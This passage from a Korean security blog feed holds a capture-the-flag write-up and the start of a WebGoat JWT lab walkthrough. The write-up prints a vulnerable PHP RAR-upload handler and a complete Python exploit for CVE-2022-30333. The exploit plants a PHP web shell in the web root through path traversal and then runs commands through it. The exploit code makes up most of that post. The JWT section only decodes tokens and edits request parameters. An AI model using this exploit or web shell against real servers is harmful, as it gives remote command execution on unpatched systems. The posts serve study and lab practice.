&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-17 오후 4.50.58.png&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;414&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eopLAW/dJMcacCOrPT/wXl8Hc67Rx6aGtlpypVjCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eopLAW/dJMcacCOrPT/wXl8Hc67Rx6aGtlpypVjCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eopLAW/dJMcacCOrPT/wXl8Hc67Rx6aGtlpypVjCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeopLAW%2FdJMcacCOrPT%2FwXl8Hc67Rx6aGtlpypVjCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1962&quot; height=&quot;414&quot; data-filename=&quot;스크린샷 2026-04-17 오후 4.50.58.png&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;414&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제대로 찾은게 맞는것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Unix 및 Linux 환경에서 6.12 이하 버전에서 &quot;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;압축 해제 작업 중 디렉터리 탐색을 통해 파일에 쓰기 작업을 허용합니다&quot; 라고 나와있는것을 확인할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;실제로 문제 코드에서 해당 가설으로 익스플로잇이 가능할지 검증을 수행해보겠습니다.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1776412517704&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

define(&quot;UNRAR&quot;, &quot;./bin/rar/unrar&quot;);

function tempdir() {
    $tempfile=tempnam(sys_get_temp_dir(),'');
    if (file_exists($tempfile)) { unlink($tempfile); }
    mkdir($tempfile);
    if (is_dir($tempfile)) { return $tempfile; }
}

function random_filename(){
    return sha1(rand()*rand()*rand()); // To-do
}

function RARextract($src, $dest){
    if(file_exists(UNRAR)){
      return shell_exec(UNRAR . &quot; e -y &quot; . escapeshellarg($src) . &quot; &quot; . escapeshellarg($dest));
    }else{
      die(&quot;ERROR !&quot;);
    }
}

function dirToArray($dir) {
   $result = array();
   $cdir = scandir($dir);
   foreach ($cdir as $key =&amp;gt; $value){
      if (!in_array($value,array(&quot;.&quot;,&quot;..&quot;))){
         if (is_dir($dir . DIRECTORY_SEPARATOR . $value)){
            $result[$value] = dirToArray($dir . DIRECTORY_SEPARATOR . $value);
         }else{
            $result[] = $value;
         }
      }
   }
   return $result;
}

  $filetype = mime_content_type($_FILES[&quot;file&quot;][&quot;tmp_name&quot;]);
  if($filetype != 'application/x-rar') die('Invalid RAR File.');

  $backup = &quot;./upload/&quot;.random_filename().&quot;.rar&quot;;
  copy($_FILES[&quot;file&quot;][&quot;tmp_name&quot;], $backup); // backup 

  $tmpdir = tempdir();
  $out = RARextract($_FILES[&quot;file&quot;][&quot;tmp_name&quot;], $tmpdir);
  $scanout = dirToArray($tmpdir);
  // To-do: Download extract file.
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 ./bin/rar/unrar 경로에서 6.11 버전의 RAR을 사용하는것을 알 수 있고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RARextract라는 함수에서 shell_exec 명령어를 사용하여&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1776412679777&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./bin/rar/unrar e -y '&amp;lt;src&amp;gt;' '&amp;lt;dest&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 명령어가 실행이 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;escapeshellarg 로 shell argument에 대한 문자열 Escape를 진행하는것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적인 Escaping은 진행하기 때문에 &lt;b&gt;import한 외부 unrar이 처리될때 공격&lt;/b&gt;하는 플로우를 생각할 수 있고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CVE-2022-30333 취약점의 개요인 &quot;압축 해제 작업 중 일어나는 공격&quot; 이라는 포인트를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;압축 해제 시 상위 디렉토리로 경로를 조작하면 apache 의 웹루트 /var/www/html 에 웹쉘을 올릴 수 있을것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exploit을 진행해 보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/rbowes-r7/unrar-cve-2022-30333-poc&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/rbowes-r7/unrar-cve-2022-30333-poc&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1776413470276&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - rbowes-r7/unrar-cve-2022-30333-poc&quot; data-og-description=&quot;Contribute to rbowes-r7/unrar-cve-2022-30333-poc development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/rbowes-r7/unrar-cve-2022-30333-poc&quot; data-og-url=&quot;https://github.com/rbowes-r7/unrar-cve-2022-30333-poc&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://github.com/rbowes-r7/unrar-cve-2022-30333-poc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/rbowes-r7/unrar-cve-2022-30333-poc&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - rbowes-r7/unrar-cve-2022-30333-poc&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Contribute to rbowes-r7/unrar-cve-2022-30333-poc development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 github에서 exploit code를 찾을 수 있고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹쉘을 업로드 하고, 해당 경로로 웹쉘을 실행시키는 최종 PoC 코드는 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1776413955823&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import sys
import subprocess
import requests
import tempfile
import os

SHELL_PHP = &quot;&quot;&quot;&amp;lt;?php
echo system($_GET[&quot;cmd&quot;]);
?&amp;gt;
&quot;&quot;&quot;

def create_rar_with_ruby(target_path, ruby_script_path):
    print(f&quot;[*] Creating temporary payload file...&quot;)

    with tempfile.NamedTemporaryFile(mode='w', suffix='.php', delete=False) as f:
        f.write(SHELL_PHP)
        temp_shell = f.name

    try:
        print(f&quot;[*] Running Ruby exploit generator...&quot;)
        print(f&quot;    Target path: {target_path}&quot;)

        result = subprocess.run(
            ['ruby', ruby_script_path, target_path, temp_shell],
            capture_output=True,
            timeout=10
        )

        if result.returncode != 0:
            print(f&quot;[-] Ruby script error: {result.stderr.decode()}&quot;)
            return None

        return result.stdout

    except subprocess.TimeoutExpired:
        print(&quot;[-] Ruby script timeout&quot;)
        return None
    except Exception as e:
        print(f&quot;[-] Error: {e}&quot;)
        return None
    finally:
        os.unlink(temp_shell)

def upload_exploit(url, rar_data):
    print(f&quot;[*] Uploading malicious RAR to {url}&quot;)

    files = {'file': ('exploit.rar', rar_data, 'application/x-rar')}
    try:
        response = requests.post(url, files=files, timeout=10)

        if response.status_code == 200:
            print(&quot;[+] Upload successful!&quot;)
            return True
        else:
            print(f&quot;[-] Upload failed: HTTP {response.status_code}&quot;)
            return False
    except Exception as e:
        print(f&quot;[-] Upload error: {e}&quot;)
        return False

def get_flag(base_url, cmd='/flag'):
    webshell_url = f&quot;{base_url}/upload/webshell.php&quot;

    print(f&quot;[*] Executing command: {cmd}&quot;)
    try:
        response = requests.get(webshell_url, params={'cmd': cmd}, timeout=5)
        output = response.text.strip()

        if output:
            print(f&quot;[+] Output received:&quot;)
            print(f&quot;\n{'='*60}&quot;)
            print(output)
            print(f&quot;{'='*60}\n&quot;)
            return output
        else:
            print(&quot;[-] No output from webshell&quot;)
            return None
    except Exception as e:
        print(f&quot;[-] Error: {e}&quot;)
        return None

def main():
    if len(sys.argv) &amp;lt; 2:
        print(&quot;Usage: python3 exploit.py &amp;lt;target_url&amp;gt; [ruby_script_path]&quot;)
        print(&quot;&quot;)
        print(&quot;Examples:&quot;)
        print(&quot;  python3 exploit.py http://localhost:9999&quot;)
        print(&quot;  python3 exploit.py http://localhost:9999 ../unrar-cve-2022-30333-poc/cve-2022-30333.rb&quot;)
        sys.exit(1)

    target_url = sys.argv[1].rstrip('/')

    # Ruby 스크립트 자동 경로 찾기
    candidates = [
        '../unrar-cve-2022-30333-poc/cve-2022-30333.rb',
        '../../unrar-cve-2022-30333-poc/cve-2022-30333.rb',
        os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'unrar-cve-2022-30333-poc', 'cve-2022-30333.rb'),
    ]

    ruby_script = None
    for path in candidates:
        if os.path.exists(path):
            ruby_script = os.path.abspath(path)
            break

    if not ruby_script:
        print(f&quot;[-] Ruby script not found!&quot;)
        sys.exit(1)

    rar_data = create_rar_with_ruby('../../../var/www/html/upload/webshell.php', ruby_script)

    if not rar_data:
        print(&quot;[-] Failed to generate RAR&quot;)
        sys.exit(1)

    print(f&quot;[+] RAR generated ({len(rar_data)} bytes)&quot;)

    extract_url = f&quot;{target_url}/extract.php&quot;
    if not upload_exploit(extract_url, rar_data):
        sys.exit(1)

    print(&quot;[*] Waiting for webshell deployment...&quot;)
    import time
    time.sleep(1)

    flag = get_flag(target_url)

    if flag:
        print(&quot;[+] Exploit successful!&quot;)
        sys.exit(0)
    else:
        print(&quot;[-] Failed to retrieve flag&quot;)
        sys.exit(1)

if __name__ == '__main__':
    main()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-17 오후 5.20.25.png&quot; data-origin-width=&quot;3638&quot; data-origin-height=&quot;2186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLWYRR/dJMcai31sXF/FppuVKbRHs2FFdhfSXaZd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLWYRR/dJMcai31sXF/FppuVKbRHs2FFdhfSXaZd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLWYRR/dJMcai31sXF/FppuVKbRHs2FFdhfSXaZd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLWYRR%2FdJMcai31sXF%2FFppuVKbRHs2FFdhfSXaZd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3638&quot; height=&quot;2186&quot; data-filename=&quot;스크린샷 2026-04-17 오후 5.20.25.png&quot; data-origin-width=&quot;3638&quot; data-origin-height=&quot;2186&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-17 오후 5.22.09.png&quot; data-origin-width=&quot;2668&quot; data-origin-height=&quot;210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rGA9B/dJMcafzxkcT/0HagcxpWl3ja5GrF69AVk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rGA9B/dJMcafzxkcT/0HagcxpWl3ja5GrF69AVk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rGA9B/dJMcafzxkcT/0HagcxpWl3ja5GrF69AVk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrGA9B%2FdJMcafzxkcT%2F0HagcxpWl3ja5GrF69AVk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2668&quot; height=&quot;210&quot; data-filename=&quot;스크린샷 2026-04-17 오후 5.22.09.png&quot; data-origin-width=&quot;2668&quot; data-origin-height=&quot;210&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상입니다.&lt;/p&gt;</description>
      <category>webhacking</category>
      <author>lizparadox_</author>
      <guid isPermaLink="true">https://paradox123.tistory.com/4</guid>
      <comments>https://paradox123.tistory.com/4#entry4comment</comments>
      <pubDate>Fri, 17 Apr 2026 17:22:54 +0900</pubDate>
    </item>
    <item>
      <title>WebGoat - JWT tokens</title>
      <link>https://paradox123.tistory.com/3</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Level 3&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.28.57.png&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;623&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpOnLp/dJMcakzsOAf/Wkge0632jhaisyc4svAPkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpOnLp/dJMcakzsOAf/Wkge0632jhaisyc4svAPkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpOnLp/dJMcakzsOAf/Wkge0632jhaisyc4svAPkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdpOnLp%2FdJMcakzsOAf%2FWkge0632jhaisyc4svAPkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1265&quot; height=&quot;623&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.28.57.png&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;623&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제에서 user 부분을 묻고 있으므로&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jwt.io에서 해당 jwt token을 decode하면&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.31.28.png&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;706&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/djboEZ/dJMcajtM0rL/MEhfrB8zYeJH76iKLe7HE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/djboEZ/dJMcajtM0rL/MEhfrB8zYeJH76iKLe7HE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/djboEZ/dJMcajtM0rL/MEhfrB8zYeJH76iKLe7HE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdjboEZ%2FdJMcajtM0rL%2FMEhfrB8zYeJH76iKLe7HE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;808&quot; height=&quot;451&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.31.28.png&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;706&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;user_name&quot;: &quot;user&quot; 이라는 문구가 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답은 user&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.32.22.png&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;706&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8cUVr/dJMcaj1COE2/VtG0979XcPSNnUtWrU4MuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8cUVr/dJMcaj1COE2/VtG0979XcPSNnUtWrU4MuK/img.png&quot; data-alt=&quot;3단계 끝&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8cUVr/dJMcaj1COE2/VtG0979XcPSNnUtWrU4MuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8cUVr%2FdJMcaj1COE2%2FVtG0979XcPSNnUtWrU4MuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1265&quot; height=&quot;706&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.32.22.png&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;706&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;3단계 끝&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5단계&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.32.48.png&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;706&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vKgY3/dJMcah3OhlA/kU7hQNqMrQbRrUHaP6IrK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vKgY3/dJMcah3OhlA/kU7hQNqMrQbRrUHaP6IrK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vKgY3/dJMcah3OhlA/kU7hQNqMrQbRrUHaP6IrK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvKgY3%2FdJMcah3OhlA%2FkU7hQNqMrQbRrUHaP6IrK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1265&quot; height=&quot;706&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.32.48.png&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;706&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제에서는 투표 시스템 상단의 새로고침 버튼을 통해 투표 현황을 초기화하면 되는 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vote now 버튼을 누르면 guest는 투표 권한이 없다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로고침 버튼 오른쪽에 있는 버튼을 눌러서 다른 계정으로 전환한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.36.57.png&quot; data-origin-width=&quot;1007&quot; data-origin-height=&quot;323&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tZJPK/dJMcajURgpY/7IJhVNxhZ2j9HnEZMYGBz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tZJPK/dJMcajURgpY/7IJhVNxhZ2j9HnEZMYGBz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tZJPK/dJMcajURgpY/7IJhVNxhZ2j9HnEZMYGBz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtZJPK%2FdJMcajURgpY%2F7IJhVNxhZ2j9HnEZMYGBz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1007&quot; height=&quot;323&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.36.57.png&quot; data-origin-width=&quot;1007&quot; data-origin-height=&quot;323&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정 전환 후 Burp Suite의 Http history로 이동하면 /WebGoat/JWT/votings/login URI로 Get method의 요청을 보내는 것을 확인할 수 있고, user파라미터에 원하는 계정명을 대입해 요청을 보내고, 서버에서 Set-Cookie를 사용해 전환된 사용자에 해당하는 JWT값을 access_token 쿠키에 대입하여 응답하는것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.51.06.png&quot; data-origin-width=&quot;2228&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WhV4C/dJMcaacxLAr/ckVUbMd0dHr1pFx80VcmE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WhV4C/dJMcaacxLAr/ckVUbMd0dHr1pFx80VcmE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WhV4C/dJMcaacxLAr/ckVUbMd0dHr1pFx80VcmE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWhV4C%2FdJMcaacxLAr%2FckVUbMd0dHr1pFx80VcmE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2228&quot; height=&quot;255&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.51.06.png&quot; data-origin-width=&quot;2228&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;?user=&amp;nbsp; 부분에 Admin과 같은 값을 넣어도, 아쉽게 문제는 풀리지 않는것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JWT 부분을 수정해야하는것을 알 수 있고, Sylvester 계정으로 로그인할때 반환되는 access_token 쿠키를 decode해보면&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.56.37.png&quot; data-origin-width=&quot;1253&quot; data-origin-height=&quot;796&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdxvkq/dJMcabvKRQm/ljl2wzK6bI2zT1Kk0xzuS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdxvkq/dJMcabvKRQm/ljl2wzK6bI2zT1Kk0xzuS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdxvkq/dJMcabvKRQm/ljl2wzK6bI2zT1Kk0xzuS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcdxvkq%2FdJMcabvKRQm%2Fljl2wzK6bI2zT1Kk0xzuS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1253&quot; height=&quot;796&quot; data-filename=&quot;스크린샷 2025-11-09 오전 1.56.37.png&quot; data-origin-width=&quot;1253&quot; data-origin-height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터들을 확인할 수 있다.&lt;/p&gt;
